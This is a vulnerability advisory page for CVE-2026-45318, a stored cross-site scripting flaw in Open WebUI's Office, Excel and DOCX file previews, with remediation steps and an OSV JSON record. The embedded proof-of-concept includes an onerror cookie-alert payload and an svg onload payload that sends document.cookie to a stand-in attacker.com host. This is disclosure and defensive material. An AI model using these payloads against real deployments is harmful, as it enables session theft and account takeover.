CVE-2026-45318: Open webui Cross-Site Scripting Vulnerability
MODERATECVE-2026-45318 is a MODERATE (CVSS 5.4) cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Open webui libraries in the PyPI ecosystem. The issue involves open webui has stored xss via unsanitized office/excel/docx file preview rendering ({@html} without dompurify). Remediation is available by upgrading affected packages to version 0.9.3.
CVE-2026-45318 at a Glance
Security Impact
CVSS: 5.4
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
How to Fix CVE-2026-45318
To remediate this vulnerability, upgrade all affected Open webui dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install open-webui>=0.9.3
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show open-webui
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-45318, inspect your installed packages using pip:
pip show open-webui
Analyze the terminal output to locate any version of Open webui in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.9.3), your application is affected.
Note: The pip show open-webui command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Open webui, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-45318 Affected Open webui Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
open-webui
|
PyPI |
< 0.9.3
|
0.9.3
|
References
Frequently Asked Questions
What is CVE-2026-45318?
Which Open webui versions are affected?
What version fixes CVE-2026-45318?
Is open-webui affected?
What is the CVSS score of CVE-2026-45318?
What CWE is associated with CVE-2026-45318?
How can I check PyPI dependencies for CVE-2026-45318?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-hcwp-82g6-8wxc",
"modified" : "2026-05-19T15:58:48Z",
"published" : "2026-05-14T20:18:27Z",
"aliases" : [ "CVE-2026-45318" ],
"summary" : "Open WebUI has stored XSS via unsanitized Office/Excel/DOCX file preview rendering ({@html} without DOMPurify)",
"details" : "## Related advisory\n\nThis advisory tracks a regression of the original Excel-preview XSS that was \npublicly disclosed and patched under [GHSA-jwf8-pv5p-vhmc](https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc) \n(patched in v0.8.0). The same root cause — `XLSX.utils.sheet_to_html()` output \nrendered via `{@html excelHtml}` without DOMPurify — was reintroduced sometime \nafter v0.8.0 and is exploitable again as of v0.8.12 and through the version \nrange listed above. This advisory additionally covers the related \n`fileOfficeHtml` sink in `src/lib/components/chat/FileNav.svelte` \n(lines 458 and 1285) which was not part of the jwf8 advisory's scope.\n\n## Summary\n\nOpen WebUI renders user-uploaded Office files (Excel, DOCX) as HTML using Svelte's `{@html}` directive **without DOMPurify sanitization**. While the codebase has DOMPurify available and uses it in 9 out of 23 `{@html}` locations (39%), three file-preview rendering paths bypass it entirely, allowing Stored XSS when a user uploads a malicious document.\n\nThis is a classic **defense propagation failure**: the sanitization primitive exists in the codebase but is not consistently applied to all rendering surfaces.\n\n## Root Cause\n\n**The defense primitive exists**: `DOMPurify.sanitize()` is imported and used in components like `General.svelte`, `MarkdownInlineTokens.svelte`, `Banner.svelte`, and `SVGPanZoom.svelte`.\n\n**But 3 file-preview paths skip it**:\n\n### Occurrence 1: FilePreview.svelte — Office HTML\n\n**File**: `src/lib/components/chat/FileNav/FilePreview.svelte` line 324\n\n```svelte\n{:else if fileOfficeHtml !== null}\n <div class=\"office-preview overflow-auto flex-1 min-h-0\">\n {@html fileOfficeHtml} <!-- NO DOMPurify! -->\n </div>\n```\n\n`fileOfficeHtml` is generated from user-uploaded Office files (PPT, DOC, etc.) converted to HTML. The HTML is rendered directly without sanitization.\n\n### Occurrence 2: FileItemModal.svelte — Excel HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 560\n\n```svelte\n{@html excelHtml} <!-- NO DOMPurify! -->\n```\n\n`excelHtml` is generated from user-uploaded Excel files converted to HTML tables. No sanitization applied.\n\n### Occurrence 3: FileItemModal.svelte — DOCX HTML\n\n**File**: `src/lib/components/common/FileItemModal.svelte` line 590\n\n```svelte\n{@html docxHtml} <!-- NO DOMPurify! -->\n```\n\n`docxHtml` is generated from user-uploaded DOCX files converted to HTML. No sanitization applied.\n\n## Contrast with Sanitized Paths\n\nFor comparison, the same codebase correctly sanitizes in other locations:\n\n```svelte\n<!-- MarkdownInlineTokens.svelte:130 — SAFE -->\n{@html DOMPurify.sanitize(token.text, { ADD_ATTR: ['target'] })}\n\n<!-- General.svelte:276 — SAFE -->\n{@html DOMPurify.sanitize($config?.license_metadata?.html)}\n\n<!-- Banner.svelte:103 — SAFE -->\n{@html DOMPurify.sanitize(marked.parse(...))}\n```\n\n## Defense Propagation Gap\n\n| Metric | Value |\n|--------|-------|\n| Total `{@html}` usages | 23 |\n| With DOMPurify | 9 (39%) |\n| **Without DOMPurify** | **14 (61%)** |\n| Confirmed exploitable (file preview) | **3** |\n\nThe remaining 11 unsanitized `{@html}` usages include syntax highlighting (`hljs`), KaTeX math rendering, and `marked.parse()` with `sanitizeResponseContent()` pre-processing — these have varying levels of inherent safety but still represent inconsistent defense application.\n\n## Tested Version\n\n- Open WebUI v0.8.12 (commit `9bd8425`, tag `v0.8.12`)\n\n## Steps to Reproduce\n\n### PoC 1: Malicious Excel File\n\n1. Create a `.xlsx` file with a cell containing:\n ```\n <img src=x onerror=\"alert(document.cookie)\">\n ```\n (Using a library like openpyxl to inject raw HTML into cell values)\n\n2. Upload the file to Open WebUI via the chat file upload\n\n3. When any user previews the file → `excelHtml` renders the injected HTML → **XSS fires**\n\n### PoC 2: Malicious DOCX File\n\n1. Create a `.docx` file with embedded HTML:\n ```xml\n <w:r><w:t><![CDATA[<svg onload=\"fetch('https://attacker.com/steal?c='+document.cookie)\">]]></w:t></w:r>\n ```\n\n2. Upload to Open WebUI\n\n3. File preview renders `docxHtml` → **XSS fires**\n\n### PoC 3: Verify Rendering Path\n\n```javascript\n// In browser devtools on Open WebUI, after uploading a file:\n// The file preview component renders:\n// FileItemModal → {@html excelHtml} // no DOMPurify\n// FileItemModal → {@html docxHtml} // no DOMPurify\n// FilePreview → {@html fileOfficeHtml} // no DOMPurify\n\n// Compare with safe path:\n// NotebookView → {@html DOMPurify.sanitize(toStr(output.data['text/html']))} // sanitized!\n```\n\n## Impact\n\n- **Stored XSS** — malicious file is stored server-side, XSS fires for every user who previews it\n- **Session hijacking** via `document.cookie` theft\n- **Account takeover** — attacker can perform actions as the victim user\n- **Data exfiltration** — read chat history, API keys, uploaded documents\n- **Multi-user environments** — shared Open WebUI instances are especially vulnerable (one malicious upload affects all viewers)\n- **Defense propagation failure** — DOMPurify is available and used elsewhere, but not applied to file preview paths\n\n## Suggested Remediation\n\nApply DOMPurify to all three file preview paths:\n\n```svelte\n<!-- FilePreview.svelte:324 — FIX -->\n{@html DOMPurify.sanitize(fileOfficeHtml)}\n\n<!-- FileItemModal.svelte:560 — FIX -->\n{@html DOMPurify.sanitize(excelHtml)}\n\n<!-- FileItemModal.svelte:590 — FIX -->\n{@html DOMPurify.sanitize(docxHtml)}\n```\n\nAlternatively, adopt a **defense-by-default pattern**: create a wrapper component that always applies DOMPurify, making unsanitized `{@html}` usage a code review flag.\n\n## References\n\n- CWE-79: Improper Neutralization of Input During Web Page Generation (XSS)\n- OWASP XSS Prevention Cheat Sheet\n- GHSA-x75g-rp99-qqpx: Previous Open WebUI report (DNS rebinding TOCTOU, different vulnerability class)",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "open-webui"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.9.3"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 0.9.2"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-hcwp-82g6-8wxc"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/security/advisories/GHSA-jwf8-pv5p-vhmc"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-45318"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/open-webui/open-webui"
}, {
"type" : "WEB",
"url" : "https://github.com/open-webui/open-webui/releases/tag/v0.9.3"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-79" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-05-14T20:18:27Z",
"nvd_published_at" : "2026-05-15T22:16:54Z"
}
}